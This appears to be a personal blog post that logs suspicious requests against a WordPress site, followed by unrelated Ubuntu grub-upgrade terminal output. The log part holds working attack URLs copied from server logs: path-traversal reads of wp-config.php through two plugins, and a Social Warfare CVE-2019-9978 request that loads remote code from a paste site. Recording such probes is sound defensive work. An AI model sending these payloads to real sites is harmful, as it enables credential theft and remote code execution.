Friday, July 31, 2020

wp-support-plus-responsive-ticket-system

https://yoursite.com/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=..%2F..%2F..%2F..%2F..%2Fwp-config.php

IP: 51.116.189.135 Hostname: 51.116.189.135

WordPress Plugin WP Support Plus Responsive Ticket System 2.0 - Multiple Vulnerabilities


https://yoursite.com/wp-admin/admin-post.php?swp_debug=load_options&swp_url=https%3A%2F%2Fhastebin.com%2Fraw%2Fetonipusij


Exploits in the Wild for WordPress Social Warfare Plugin CVE-2019-9978



https://yoursite.com/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=..%2Fwp-config.php

oEmbed API remote attackers to read arbitrary files

http://yousite.com.com/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fyoursite.com
IP: 52.143.159.22 Hostname: 52.143.159.22

This looks like an attempt to discover usernames via the oEmbed API.

WordPress before 3.5.2 allows remote attackers to read arbitrary files via an oEmbed XML provider response containing an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.

Mutation Testing Framework

http://yoursite.com //laravel/vendor/phpunit/phpunit/phpunit.xsd
 
IP: 51.210.161.21 Hostname: ip21.ip-51-210-161.eu 
Human/Bot: Human


a friends site kept seeing this what is this?

Infection is a PHP mutation testing framework based on AST (Abstract Syntax Tree) mutations. It works as a CLI tool and can be executed from your project’s root.

Mutation testing is a testing methodology that involves modifying a program in small ways and analyzing reactions of the test suite on these modifications. If tests pass after the code is changed, then we have either not covered line of code or the tests are not very efficient for the mutated piece of code.

PHPUnit is a programmer-oriented testing framework for PHP. It is an instance of the xUnit architecture for unit testing frameworks.

grub update on ubuntu

sudo apt upgrade
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Calculating upgrade... Done
The following packages will be upgraded:
  grub-common grub-pc grub-pc-bin grub2-common
4 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 3,540 kB of archives.
After this operation, 0 B of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 grub-pc amd64 2.04-1ubuntu26.2 [125 kB]
Get:2 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 grub2-common amd64 2.04-1ubuntu26.2 [590 kB]
Get:3 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 grub-pc-bin amd64 2.04-1ubuntu26.2 [971 kB]
Get:4 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 grub-common amd64 2.04-1ubuntu26.2 [1,855 kB]
Fetched 3,540 kB in 3s (1,157 kB/s)      
Preconfiguring packages ...
(Reading database ... 179313 files and directories currently installed.)
Preparing to unpack .../grub-pc_2.04-1ubuntu26.2_amd64.deb ...
Unpacking grub-pc (2.04-1ubuntu26.2) over (2.04-1ubuntu26.1) ...
Preparing to unpack .../grub2-common_2.04-1ubuntu26.2_amd64.deb ...
Unpacking grub2-common (2.04-1ubuntu26.2) over (2.04-1ubuntu26.1) ...
Preparing to unpack .../grub-pc-bin_2.04-1ubuntu26.2_amd64.deb ...
Unpacking grub-pc-bin (2.04-1ubuntu26.2) over (2.04-1ubuntu26.1) ...
Preparing to unpack .../grub-common_2.04-1ubuntu26.2_amd64.deb ...
Unpacking grub-common (2.04-1ubuntu26.2) over (2.04-1ubuntu26.1) ...
Setting up grub-common (2.04-1ubuntu26.2) ...
update-rc.d: warning: start and stop actions are no longer supported; falling ba
ck to defaults
Setting up grub2-common (2.04-1ubuntu26.2) ...
Setting up grub-pc-bin (2.04-1ubuntu26.2) ...
Setting up grub-pc (2.04-1ubuntu26.2) ...
Sourcing file `/etc/default/grub'
Sourcing file `/etc/default/grub.d/init-select.cfg'
Generating grub configuration file ...
Found linux image: /boot/vmlinuz-5.4.0-42-generic
Found initrd image: /boot/initrd.img-5.4.0-42-generic
Found linux image: /boot/vmlinuz-5.4.0-40-generic
Found initrd image: /boot/initrd.img-5.4.0-40-generic
Found memtest86+ image: /memtest86+.elf
Found memtest86+ image: /memtest86+.bin
done
Processing triggers for systemd (245.4-4ubuntu3.2) ...
Processing triggers for man-db (2.9.1-1) ...
Processing triggers for install-info (6.7.0.dfsg.2-5) ...




older command 


sudo apt upgrade

The following package was automatically installed and is no longer required:
  libcdk5nc6
Use 'sudo apt autoremove' to remove it.
The following packages will be upgraded:
  grub-common grub-pc grub-pc-bin grub2-common
4 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 3,541 kB of archives.
After this operation, 6,144 B of additional disk space will be used.

update-rc.d: warning: start and stop actions are no longer supported; falling ba
ck to defaults
Setting up grub2-common (2.04-1ubuntu26.1) ...
Setting up grub-pc-bin (2.04-1ubuntu26.1) ...
Setting up grub-pc (2.04-1ubuntu26.1) ...
Installing for i386-pc platform.
grub-install: warning: this GPT partition label contains no BIOS Boot Partition;
 embedding won't be possible.
grub-install: warning: Embedding is not possible.  GRUB can only be installed in
 this setup by using blocklists.  However, blocklists are UNRELIABLE and their u
se is discouraged..
Installation finished. No error reported.
Sourcing file `/etc/default/grub'
Sourcing file `/etc/default/grub.d/init-select.cfg'
Generating grub configuration file ...



sudo grub-install 
Installing for i386-pc platform.
grub-install: error: install device isn't specified.

Subscribe to: Posts (Atom)